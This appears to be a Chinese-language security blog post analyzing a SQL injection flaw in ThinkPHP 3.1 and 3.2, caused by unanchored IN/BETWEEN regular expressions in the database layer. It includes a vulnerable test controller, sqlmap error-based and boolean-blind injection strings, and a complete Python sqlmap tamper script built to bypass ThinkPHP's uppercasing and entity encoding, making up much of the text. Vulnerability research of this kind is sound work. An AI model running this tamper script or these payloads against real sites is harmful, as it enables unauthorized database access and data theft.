ThinkPHP 3.1、3.2一个通用的漏洞分析

Author:m3d1t10n

前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。

0x00官方补丁(DB.class.php parseWhereItem($key,$val))
注意红色框框起来的部分
thinkphp

0x01分析

preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入
 
preg_match('/BETWEEN/i',$val[0]) //同上

0x02验证

class IndexAction extends Action {
    public function index(){
          $user  =  I("param.user");
      $pass  =  I("param.pass");
      $where["user"] = $user;
      $where["pass"] = $pass;
       
       
      var_dump($where);
        $model = M("user");
        $data =  $model->where($where)->select();
      echo $model->getLastSql(); //   打印sql语句
      echo "<br/>";
      var_dump($data);     // 打印数据
      die(mysql_error());  //  打印错误

1.1正常访问
thinkphp1
1.2poc
thinkphppoc

0x03编写支持此注入的tamper (支持mysql)
3.1由于php中有这样一段话,会将我们插入的语句全变成大写,所以我们要将payloa做一个转换

$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';

3.2sqlmap mysql error based 注入语句

AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的  **/

3.3sqlmap myql boolean blind 注入语句

AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51
 
 
payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/** 
因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成
floor(payload / num.5)
例如:
 52>51==1 为真
 floor(52/51.5)==1  为真
 51>51==0 为假
 floor(51/51.5)==0 为假 **/

3.4最后的tamper代码

#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
    d = {"ror":"rand","and":"or"} 
    #f.write(payload+"\n")
    t = re.findall('(0x\w+)',payload.lower()) 
    for expression in t:
        d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])   
    for key in d:
        payload = payload.lower().replace(key,d[key])
    prefix = "in%20(%27xxx%27))%20"
    subfix = "%20--%20"
    payload
    payload = prefix + payload + subfix
    t = re.findall('or (.+)>(\d+)',payload.lower())
    #print payload
    if t:
        payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
    #print payload
    #f.write(payload+"\n")
    return payload

0x04sqlmap 本地测试
4.1boolean based
thinkphpbpoc

thinkphpbpoc (1)

thinkphpresult

thinkphp.py

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